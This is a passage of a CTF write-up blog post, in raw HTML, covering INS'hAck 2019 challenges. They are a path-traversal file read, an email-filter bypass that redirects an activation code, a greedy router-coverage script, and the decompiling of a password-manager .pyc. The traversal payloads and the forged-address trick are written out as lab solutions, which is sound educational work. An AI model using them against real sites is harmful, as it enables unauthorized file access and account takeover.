class="k">await</span> <span class="n">stream_file</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="n">path</span><span class="p">)</span> <span class="k">def</span> <span class="nf">app</span><span class="p">():</span> <span class="n">app</span> <span class="o">=</span> <span class="n">web</span><span class="o">.</span><span class="n">Application</span><span class="p">()</span> <span class="n">setup_error_middlewares</span><span class="p">(</span><span class="n">app</span><span class="p">)</span> <span class="n">app</span><span class="o">.</span><span class="n">add_routes</span><span class="p">([</span><span class="n">web</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">r'/{path:.*}'</span><span class="p">,</span> <span class="n">root</span><span class="p">)])</span> <span class="n">web</span><span class="o">.</span><span class="n">run_app</span><span class="p">(</span><span class="n">app</span><span class="p">)</span> <span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span> <span class="n">app</span><span class="p">()</span> </code></pre></div></div> <p>The <code class="language-plaintext highlighter-rouge">stream_file</code> function is not protected against <strong>directory path traversal</strong> so it allows us to exploit a <strong>Local File Inclusion</strong> vulnerability in order to read the file containing the flag.</p> <p>Using <code class="language-plaintext highlighter-rouge">../</code> as a payload, it will be interpreted by our browser which will request the root of the webserver. That’s not what we want so we need to <strong>URL-encode</strong> our payload, such as: <code class="language-plaintext highlighter-rouge">../</code>.</p> <p>As suggested by the challenge statement, the flag file is stored in the <code class="language-plaintext highlighter-rouge">universe/</code> folder. We can verify the LFI thanks to the following payload: <code class="language-plaintext highlighter-rouge">../universe</code>.</p> <p><img src="/assets/2019-05-08/universe.png" alt="LFI PoC" title="LFI PoC" /></p> <p>The <code class="language-plaintext highlighter-rouge">DT_DIR</code> inside the response headers indicates that we are accessing an existing directory. Now, let’s retrieve the flag thanks to the following payload: <code class="language-plaintext highlighter-rouge">../universe/flag</code>.</p> <p>The flag is inside the downloaded file:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>_universe_flag INSA<span class="o">{</span>3e508f6e93fb2b6de561d5277f2a9b26bc79c5f349c467a91dd12769232c1a29<span class="o">}</span> </code></pre></div></div> <h2 id="web-almost-tchap">[Web] Almost Tchap</h2> <h3 id="statement-1">Statement</h3> <blockquote> <p>This is a message to all ATchap employees. Our new communication software is now in a beta mode. To register, just enter you email address, you’ll receive shortly the activation code.</p> <p>https://atchap.ctf.insecurity-insa.fr</p> </blockquote> <p>This challenge was in the era of time since it exploited <a href="https://medium.com/@fs0c131y/tchap-the-super-not-secure-app-of-the-french-government-84b31517d144">a vulnerabilty</a> found by <a href="https://twitter.com/fs0c131y">@fs0c131y</a> a few weeks ago inside the <code class="language-plaintext highlighter-rouge">Tchap</code> application.</p> <h3 id="resolution-1">Resolution</h3> <p>The website offers to register using an email address.</p> <p><img src="/assets/2019-05-08/almosttchap.png" alt="Almost Tchap" title="Almost Tchap" width="80%" /></p> <p>However, email addresses are filtered and only an address ending with <code class="language-plaintext highlighter-rouge">@almosttchap.fr</code> would be accepted.</p> <p>Thanks to the footer of the website, it was easy to guess a valid email address, as you can see on the following picture:</p> <p><img src="/assets/2019-05-08/real_mail.png" alt="Real emails" title="Real email" /></p> <p>Registering with the address <code class="language-plaintext highlighter-rouge">[email protected]</code> was authorized and we could then intercept the request with <code class="language-plaintext highlighter-rouge">Burp</code> in order to modify the submitted email address.</p> <p>Actually, forging an email address in the following format will pass the filter and send the confirmation code to our personal address: <code class="language-plaintext highlighter-rouge">[email protected]@[email protected]</code>.</p> <p>For this challenge, I used a temporary email address provided by <a href="https://temp-mail.org/">https://temp-mail.org/</a>. Below, the screen capture of the request interception inside <code class="language-plaintext highlighter-rouge">Burp</code>:</p> <p><img src="/assets/2019-05-08/burp.png" alt="Burp" title="Burp" /></p> <p>After forwarding the modified request, the code has been sent to us.</p> <p><img src="/assets/2019-05-08/at-flag.png" alt="Flag" title="Flag" /></p> <p><code class="language-plaintext highlighter-rouge">INSA{1fd9fa56444a424d}</code></p> <h2 id="programming-hackcode-0102">[Programming] HackCode-01/02</h2> <h3 id="statement-2">Statement</h3> <blockquote> <p>This challenge gives 4 flags of increasing difficulty.</p> <p><a href="/assets/2019-05-08/routes.txt" title="Routes.txt">This file</a> contains 10 000 network routes. We want to have at least one network tap on each route. Find a list of routers to intercept, and keep the number of taps low ! You will get the first flag for any solution with at most 150 taps.</p> </blockquote> <h4 id="example">Example</h4> <p>If we have the following routes :</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>c,b,a d,a,g b,c,e f,d,g </code></pre></div></div> <p>One solution could be :</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>g b </code></pre></div></div> <p>The aim of this challenge was to find a minimum set of routers that covers all network routes inside routes.txt.</p> <p>My strategy was very naive and only allowed me to reach the second flag of this challenge, but still, it was fun to do so I’ll share it here. If you want complete writeup of the 4 steps, I recommand you to read <a href="https://www.aperikube.fr/docs/inshack_2019/proggenius/">this one</a> from Aperikube.</p> <h3 id="strategy">Strategy</h3> <p>This piece of pseudo-code will help you understanding my approach:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">occurences_set</span> <span class="o">=</span> <span class="n">count_occurences_of_each_router</span><span class="p">()</span> <span class="n">solution</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">init_routes_coverage</span><span class="p">()</span> <span class="c1">// Tells which routes are already covered by a router</span> <span class="k">while</span> <span class="n">not</span> <span class="n">all</span> <span class="n">routes</span> <span class="n">are</span> <span class="n">covered</span> <span class="p">{</span> <span class="n">foreach</span> <span class="n">line</span> <span class="n">of</span> <span class="n">routes</span><span class="p">.</span><span class="n">txt</span><span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">line</span> <span class="n">is</span> <span class="n">not</span> <span class="n">already</span> <span class="n">covered</span><span class="p">)</span> <span class="p">{</span> <span class="n">best_router</span> <span class="o">=</span> <span class="n">get_the_best_router_of_the_line</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="c1">// The best in term of number of occurences</span> <span class="n">solution</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">best_router</span><span class="p">)</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <h3 id="part-01">Part 01</h3> <p>I wrote <a href="/assets/2019-05-08/script01.py" title="HackCode 01 script">the following script</a>, implementing the approach explained before, giving a solution of <strong>141 routers</strong>. This was enough for the first flag!</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">finished</span><span class="p">(</span><span class="n">coverage</span><span class="p">):</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10001</span><span class="p">):</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">coverage</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span> <span class="k">return</span> <span class="bp">False</span> <span class="k">return</span> <span class="bp">True</span> <span class="k">def</span> <span class="nf">solution_covers</span><span class="p">(</span><span class="n">solution</span><span class="p">,</span><span class="n">line</span><span class="p">):</span> <span class="k">for</span> <span class="n">router</span> <span class="ow">in</span> <span class="n">solution</span><span class="p">:</span> <span class="k">if</span> <span class="n">router</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span> <span class="k">return</span> <span class="bp">True</span> <span class="k">return</span> <span class="bp">False</span> <span class="k">def</span> <span class="nf">get_unique_routers_list</span><span class="p">():</span> <span class="n">routers</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">lines</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'routes.txt'</span><span class="p">,</span><span class="s">'r'</span><span class="p">)</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span> <span class="n">splitted</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">','</span><span class="p">)</span> <span class="k">for</span> <span class="n">router</span> <span class="ow">in</span> <span class="n">splitted</span><span class="p">:</span> <span class="k">if</span> <span class="n">router</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">routers</span><span class="p">:</span> <span class="n">routers</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">router</span><span class="p">)</span> <span class="c1">#print(routers) </span> <span class="k">print</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">routers</span><span class="p">))</span><span class="o">+</span><span class="s">" unique routers"</span><span class="p">)</span> <span class="k">return</span> <span class="n">routers</span> <span class="k">def</span> <span class="nf">count_router_occurences</span><span class="p">(</span><span class="n">routers_list</span><span class="p">):</span> <span class="n">occurences</span> <span class="o">=</span> <span class="p">{}</span> <span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'routes.txt'</span><span class="p">,</span><span class="s">'r'</span><span class="p">)</span> <span class="n">lines</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="k">for</span> <span class="n">router</span> <span class="ow">in</span> <span class="n">routers_list</span><span class="p">:</span> <span class="n">occurences</span><span class="p">[</span><span class="n">router</span><span class="p">]</span> <span class="o">=</span> <span class="n">lines</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">router</span><span class="p">)</span> <span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">sorted_occurences</span> <span class="o">=</span> <span class="p">[(</span><span class="n">k</span><span class="p">,</span> <span class="n">occurences</span><span class="p">[</span><span class="n">k</span><span class="p">])</span> <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">occurences</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="n">occurences</span><span class="o">.</span><span class="n">get</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="bp">True</span><span class="p">)]</span> <span class="k">return</span> <span class="n">sorted_occurences</span> <span class="k">def</span> <span class="nf">get_best_router_of_line</span><span class="p">(</span><span class="n">router_occurences</span><span class="p">,</span><span class="n">routers_list</span><span class="p">):</span> <span class="n">best_router</span> <span class="o">=</span> <span class="p">(</span><span class="s">'router'</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span> <span class="k">for</span> <span class="n">router</span> <span class="ow">in</span> <span class="n">routers_list</span><span class="p">:</span> <span class="k">if</span> <span class="n">router_occurences</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">router</span><span class="p">)</span><span class="o">&gt;</span><span class="n">best_router</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="n">best_router</span> <span class="o">=</span> <span class="p">(</span><span class="n">router</span><span class="p">,</span><span class="n">router_occurences</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">router</span><span class="p">))</span> <span class="k">return</span> <span class="n">best_router</span> <span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span> <span class="n">solution</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">is_covered</span> <span class="o">=</span> <span class="p">{}</span> <span class="n">unique_routers</span> <span class="o">=</span> <span class="n">get_unique_routers_list</span><span class="p">()</span> <span class="n">router_occurences</span> <span class="o">=</span> <span class="n">count_router_occurences</span><span class="p">(</span><span class="n">unique_routers</span><span class="p">)</span> <span class="c1">#init is_covered </span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10001</span><span class="p">):</span> <span class="n">is_covered</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="bp">False</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'routes.txt'</span><span class="p">,</span><span class="s">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> <span class="n">lines</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span> <span class="k">while</span> <span class="ow">not</span> <span class="n">finished</span><span class="p">(</span><span class="n">is_covered</span><span class="p">):</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span> <span class="n">splitted</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">','</span><span class="p">)</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">is_covered</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span> <span class="k">if</span> <span class="n">solution_covers</span><span class="p">(</span><span class="n">solution</span><span class="p">,</span><span class="n">line</span><span class="p">):</span> <span class="n">is_covered</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="bp">True</span> <span class="k">else</span><span class="p">:</span> <span class="n">best_score_of_line</span> <span class="o">=</span> <span class="n">get_best_router_of_line</span><span class="p">(</span><span class="nb">dict</span><span class="p">(</span><span class="n">router_occurences</span><span class="p">),</span><span class="n">splitted</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s">'Adding '</span><span class="o">+</span><span class="n">best_score_of_line</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="s">' for line: '</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span> <span class="n">solution</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">best_score_of_line</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="n">is_covered</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="bp">True</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span> <span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="k">print</span><span class="p">(</span><span class="s">"Solution size: "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">solution</span><span class="p">)))</span> <span class="k">for</span> <span class="n">router</span> <span class="ow">in</span> <span class="n">solution</span><span class="p">:</span> <span class="k">print</span><span class="p">(</span><span class="n">router</span><span class="p">)</span> </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">The first flag is INSA{N0t_bad_f0r_a_start}. The next flag will be awarded at &lt;= 135.</code></p> <h3 id="part-02">Part 02</h3> <p>The second flag required a solution containing at most 135 routers. In order to get the 4 flags, I had to completely change of strategy but I hadn’t so much time left and wanted to work on other challenges so I did something very dirty.</p> <p>Pre-filling my solution array with certain routers would sometimes give better solutions than my previous script. Guess what, I did that until having a 135 routers solution. Pretty lame I agree…</p> <p>Here is the modification I brought to script of part 1:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BEFORE: solution = [] AFTER: solution = ['100284b7','57e483e5','326ceb8a','9793198c','5cc167e0','85ea0d43'] </code></pre></div></div> <p>And here I am with my 135 routers solution!</p> <p><code class="language-plaintext highlighter-rouge">INSA{135_is_pretty_g0Od_but_how_l0w_c4n_u_gO}. Get your next flag at &lt;= 128</code></p> <h2 id="reverse-dashlame">[Reverse] Dashlame</h2> <h3 id="statement-3">Statement</h3> <blockquote> <p>Can you try our new <a href="/assets/2019-05-08/dashlame.pyc" title="Password manager">password manager</a> ? There’s a free flag in every password archive created !</p> <p>This challenge contains a second part in the Crypto category.</p> </blockquote> <h3 id="uncompyle">Uncompyle</h3> <p>As indicated by <code class="language-plaintext highlighter-rouge">file</code>, the given file is actually some compiled python bytecode.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file dashlame.pyc dashlame.pyc: python 2.7 byte-compiled </code></pre></div></div> <p>Luckily, it is trivial to recover the source code from python bytecode. I used <code class="language-plaintext highlighter-rouge">uncompyle</code> for this:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>uncompyle2 <span class="nt">-o</span> dashlame.py dashlame.pyc <span class="nv">$ </span>file dashlame.py dashlame.py: Python script, ASCII text executable, with very long lines </code></pre></div></div> <h3 id="understanding-the-script">Understanding the script</h3> <p>The <a href="/assets/2019-05-08/dashlame.py" title="Password manager">script</a> defines the following functions:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep </span>def dashlame.py def pad<span class="o">(</span>s<span class="o">)</span>: def unpad<span class="o">(</span>s<span class="o">)</span>: def get_random_passphrase<span class="o">()</span>: def get_pearson_hash<span class="o">(</span>passphrase<span class="o">)</span>: def encrypt_stream<span class="o">(</span>data, passphrase<span class="o">)</span>: def decrypt_stream<span class="o">(</span>data, passphrase<span class="o">)</span>: def encrypt_archive<span class="o">(</span>archive_filename, passphraseA, passphraseB<span class="o">)</span>: def decrypt_archive<span class="o">(</span>archive_filename, passphraseA, passphraseB<span class="o">)</span>: def createArchive<span class="o">()</span>: def updateArchive<span class="o">()</span>: def accessArchive<span class="o">()</span>: </code></pre></div></div> <p>We see nothing strange for a password manager. Let’s dig into the <code class="language-plaintext highlighter-rouge">createArchive()</code> function since the challenge statement mentions <em>a flag in every password archive created</em>.</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">createArchive</span><span class="p">():</span> <span class="n">archive_name</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">'Please enter your archive name: '</span><span class="p">)</span> <span class="n">passphraseA</span><span class="p">,</span> <span class="n">passphraseB</span> <span class="o">=</span> <span class="n">get_random_passphrase</span><span class="p">()</span> <span class="k">print</span> <span class="s">'This is your passphrase :'</span><span class="p">,</span> <span class="n">passphraseA</span><span class="p">,</span> <span class="n">passphraseB</span> <span class="k">print</span> <span class="s">'Please remember it or you will lose all your passwords.'</span> <span class="n">archive_filename</span> <span class="o">=</span> <span class="n">archive_name</span> <span class="o">+</span> <span class="s">'.db'</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">archive_filename</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">db_fd</span><span class="p">:</span> <span class="n">db_fd</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">zlib</span><span class="o">.</span><span class="n">decompress</span><span class="p">(</span><span class="s">'x</span><span class="se">\x9c\x0b\x0e\xf4\xc9</span><span class="s">,IUH</span><span class="se">\xcb</span><span class="s">/</span><span class="se">\xca</span><span class="s">M,Q0f`a`ddpPP````</span><span class="se">\x82</span><span class="s">b</span><span class="se">\x18</span><span class="s">`</span><span class="se">\x04</span><span class="s">b</span><span class="se">\x16</span><span class="s">4&gt;!</span><span class="se">\xc0\xc4\xa0\xfb\x8c\x9b\x17\xa4\x98</span><span class="s">y.</span><span class="se">\x03\x10\x8d\x82</span><span class="s">Q0</span><span class="se">\n\x88\x05\x89\x8c\xec\xe2\xf2\xf2\x8c\x8d\x82</span><span class="si">%</span><span class="se">\x89</span><span class="s">I9</span><span class="se">\xa9\x01\x89\xc5\xc5\xe5\xf9</span><span class="s">E)</span><span class="se">\xc5</span><span class="s">p</span><span class="se">\x06\x93</span><span class="s">s</span><span class="se">\x90\xab</span><span class="s">c</span><span class="se">\x88\xab</span><span class="s">B</span><span class="se">\x88\xa3\x93\x8f\xab\x02\\</span><span class="s">X</span><span class="se">\xa3</span><span class="s">&lt;5</span><span class="se">\xa9\x18\x94\xab</span><span class="s">C</span><span class="se">\\</span><span class="s">#Bt</span><span class="se">\x14</span><span class="s">J</span><span class="se">\x8b</span><span class="s">S</span><span class="se">\x8b\xf2\x12</span><span class="s">sa</span><span class="se">\xdc\x02\xa8</span><span class="s">20W</span><span class="se">\x13\x92</span><span class="s">7</span><span class="se">\xcf</span><span class="s">0</span><span class="se">\x00\xd1</span><span class="s">(</span><span class="se">\x18\x05\xa3</span><span class="s">`</span><span class="se">\x08\x03</span><span class="s">#F</span><span class="se">\x16</span><span class="s">mYkh</span><span class="se">\xe6\x8f</span><span class="s">O</span><span class="se">\xad</span><span class="s">H</span><span class="se">\xcc</span><span class="s">-</span><span class="se">\xc8</span><span class="s">I</span><span class="se">\x85\xe5</span><span class="s">~O</span><span class="se">\xbf</span><span class="s">`</span><span class="se">\xc7\xea\x90\xcc\xe2\xf8\xa4\xd0\x92\xf8\xc4\xf8</span><span class="s">`</span><span class="se">\xe7</span><span class="s">"</span><span class="se">\x93\x92\xe4\x8c</span><span class="s">Z</span><span class="se">\x00\xa8</span><span class="s">&amp;=</span><span class="se">\x8f</span><span class="s">'</span><span class="p">))</span> <span class="n">encrypt_archive</span><span class="p">(</span><span class="n">archive_filename</span><span class="p">,</span> <span class="n">passphraseA</span><span class="p">,</span> <span class="n">passphraseB</span><span class="p">)</span> <span class="k">print</span> <span class="s">'Archive created successfully.'</span> </code></pre></div></div> <p>We can see the content of the password archive stored unencrypted inside the script.</p> <h3 id="resolution-2">Resolution</h3> <p>Since the archive content is written in zlib-compressed plaintext inside the script, we can simply decompress it and print the output in order to get the content of the password archive.</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="n">python</span> <span class="n">Python</span> <span class="mf">2.7.15</span><span class="o">+</span> <span class="p">(</span><span class="n">default</span><span class="p">,</span> <span class="n">Nov</span> <span class="mi">28</span> <span class="mi">2018</span><span class="p">,</span> <span class="mi">16</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span><span class="mi">22</span><span class="p">)</span> <span class="p">[</span><span class="n">GCC</span> <span class="mf">8.2.0</span><span class="p">]</span> <span class="n">on</span> <span class="n">linux2</span> <span class="n">Type</span> <span class="s">"help"</span><span class="p">,</span> <span class="s">"copyright"</span><span class="p">,</span> <span class="s">"credits"</span> <span class="ow">or</span> <span class="s">"license"</span> <span class="k">for</span> <span class="n">more</span> <span class="n">information</span><span class="o">.</span> <span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span> <span class="nn">zlib</span> <span class="o">&gt;&gt;&gt;</span> <span class="k">print</span> <span class="n">zlib</span><span class="o">.</span><span class="n">decompress</span><span class="p">(</span><span class="s">'x</span><span class="se">\x9c\x0b\x0e\xf4\xc9</span><span class="s">,IUH</span><span class="se">\xcb</span><span class="s">/</span><span class="se">\xca</span><span class="s">M,Q0f`a`ddpPP````</span><span class="se">\x82</span><span class="s">b</span><span class="se">\x18</span><span class="s">`</span><span class="se">\x04</span><span class="s">b</span><span class="se">\x16</span><span class="s">4&gt;!</span><span class="se">\xc0\xc4\xa0\xfb\x8c\x9b\x17\xa4\x98</span><span class="s">y.</span><span class="se">\x03\x10\x8d\x82</span><span class="s">Q0</span><span class="se">\n\x88\x05\x89\x8c\xec\xe2\xf2\xf2\x8c\x8d\x82</span><span class="si">%</span><span class="se">\x89</span><span class="s">I9</span><span class="se">\xa9\x01\x89\xc5\xc5\xe5\xf9</span><span class="s">E)</span><span class="se">\xc5</span><span class="s">p</span><span class="se">\x06\x93</span><span class="s">s</span><span class="se">\x90\xab</span><span class="s">c</span><span class="se">\x88\xab</span><span class="s">B</span><span class="se">\x88\xa3\x93\x8f\xab\x02\\</span><span class="s">X</span><span class="se">\xa3</span><span class="s">&lt;5</span><span class="se">\xa9\x18\x94\xab</span><span class="s">C</span><span class="se">\\</span><span class="s">#Bt</span><span class="se">\x14</span><span class="s">J</span><span class="se">\x8b</span><span class="s">S</span><span class="se">\x8b\xf2\x12</span><span class="s">sa</span><span class="se">\xdc\x02\xa8</span><span class="s">20W</span><span class="se">\x13\x92</span><span class="s">7</span><span class="se">\xcf</span><span class="s">0</span><span class="se">\x00\xd1</span><span class="s">(</span><span class="se">\x18\x05\xa3</span><span class="s">`</span><span class="se">\x08\x03</span><span class="s">#F</span><span class="se">\x16</span><span class="s">mYkh</span><span class="se">\xe6\x8f</span><span class="s">O</span><span class="se">\xad</span><span class="s">H</span><span class="se">\xcc</span><span class="s">-</span><span class="se">\xc8</span><span class="s">I</span><span class="se">\x85\xe5</span><span class="s">~O</span><span class="se">\xbf</span><span class="s">`</span><span class="se">\xc7\xea\x90\xcc\xe2\xf8\xa4\xd0\x92\xf8\xc4\xf8</span><span class="s">`</span><span class="se">\xe7</span><span class="s">"</span><span class="se">\x93\x92\xe4\x8c</span><span class="s">Z</span><span class="se">\x00\xa8</span><span class="s">&amp;=</span><span class="se">\x8f</span><span class="s">'</span><span class="p">)</span> <span class="n">SQLite</span> <span class="nb">format</span> <span class="mi">3</span><span class="o">@</span> <span class="o">-</span> <span class="mi">2</span><span class="o">+</span><span class="p">;</span><span class="n">website_exampleusernameINSA</span><span class="p">{</span><span class="n">Tis_bUt_a_SCr4tch</span><span class="p">}</span><span class="n">bsite</span> <span class="n">TEXT</span><span class="p">,</span> <span class="n">username</span> <span class="n">TEXT</span><span class="p">,</span> <span class="n">password</span> <span class="n">TEXT</span><span class="p">)</span> </code></pre></div></div> <p>Flag: <strong>INSA{Tis_bUt_a_SCr4tch}</strong>.</p> <h3 id="alternative-way-using-decrypt_archive">Alternative way using decrypt_archive()</h3> <p>While listing the script functions, we could see a <strong>decrypt_archive()</strong> function. However, this function was not available from the user interface of the program.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python dashlame.py /.m.<span class="se">\</span> /.mnnm.<span class="se">\ </span> ___ |.mmnvvnm.<span class="se">\.</span> .,,,/<span class="sb">`</span>mmm.<span class="se">\</span> |.mmnnvvnm.<span class="se">\:</span><span class="p">;</span>,. ..,,<span class="p">;;;</span>/.mmnnnmm.<span class="se">\</span> <span class="se">\ </span>mmnnnvvnm.<span class="se">\:</span>:<span class="p">;;</span>, .,<span class="p">;;;;;;;;</span>/.mmmnnvvnnm.| <span class="se">\`</span>mmnnnvvnm.<span class="se">\:</span>:<span class="p">;</span>::.sSSs sSSs ,<span class="p">;;;;;;;;;;</span>/.mmmnnvvvnnmm<span class="s1">'/ \`mmnnnvnm.\:::::SSSS,,,,,,SSSS:::::::;;;/.mmmnnvvvnnmmm'</span>/ <span class="se">\`</span>mnvvnm.<span class="se">\:</span>:%%%<span class="p">;;;;;;;;;;;</span>%%%%:::::<span class="p">;</span>/.mnnvvvvnnmmmmm<span class="s1">'/ \`mmmm.%%;;;;;%%%%%%%%%%%%%%%::/.mnnvvvnnmmmmm'</span>/ <span class="s1">' \`%%;;;;%%%%s&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;s%%%%mmmnnnmmmmmm'</span>/ <span class="s1">' | `%;;;%%%%s&amp;&amp;.%%%%%%.%&amp;&amp;%mmmmmmmmmm'</span>/ <span class="s1">' \ | / %;;%%%%&amp;&amp;.%;` '</span>%.&amp;&amp;%%%////// <span class="s1">' \ | / %%%%%%s&amp;.%% x %.&amp;&amp;%%%%%//% \ .:::::. ,;%%%%s&amp;&amp;&amp;&amp;.%; ;.&amp;&amp;%%%%%%%%/, -!!!- ::#:::::%%%%%%s&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;%%%%%%%%%%% / :##:::::&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;%%%%%%%%%%%%%%, / | `:#:::&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;%%%%%%%%%%%%% | `&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;,&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;SS%%%%%%%%%%%%% `~~~~~'</span>~~ SSSSSSS%%%%%%%%%%%%% SSSSSSSS%%%%%%%%%%%%%% SSSSSSSSSS%%%%%%%%%%%%%. SSSSSSSSSSSS%%%%%%%%%%%%%% SSSSSSSSSSSSS%%%%%%%%%%%%%%%. SSSSSSSSSSSSSSS%%%%%%%%%%%%%%%% SSSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%%. SSSSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%%%% SSSSSSSSSSSSSSSSSS%%%%%%%%%%%%%%%%%%%%. WELCOME TO DASHLAME 1. Create a new password archive 2. Add a password to an archive 3. Access a password from an existing archive </code></pre></div></div> <p>An alternative way of decrypting an archive would be to:</p> <ol> <li>Create a password archive.</li> <li>Note passphraseA and passphraseB.</li> <li>Modify the script in order to call decrypt_archive(archive,passphraseA,passphraseB).</li> </ol> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> WELCOME TO DASHLAME 1. Create a new password archive 2. Add a password to an archive 3. Access a password from an existing archive 1 Please enter your archive name: boiteaklou Getting random data from atmospheric noise and mouse movements.......... This is your passphrase : pruden patties Please remember it or you will lose all your passwords. Archive created successfully. </code></pre></div></div> <p>Here is the slight modification I brought to the <em>main</em> function of the script:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span> <span class="k">print</span> <span class="n">HEADER</span> <span class="k">print</span> <span class="s">'1. Create a new password archive'</span> <span class="k">print</span> <span class="s">'2. Add a password to an archive'</span> <span class="k">print</span> <span class="s">'3. Access a password from an existing archive'</span> <span class="k">try</span><span class="p">:</span> <span 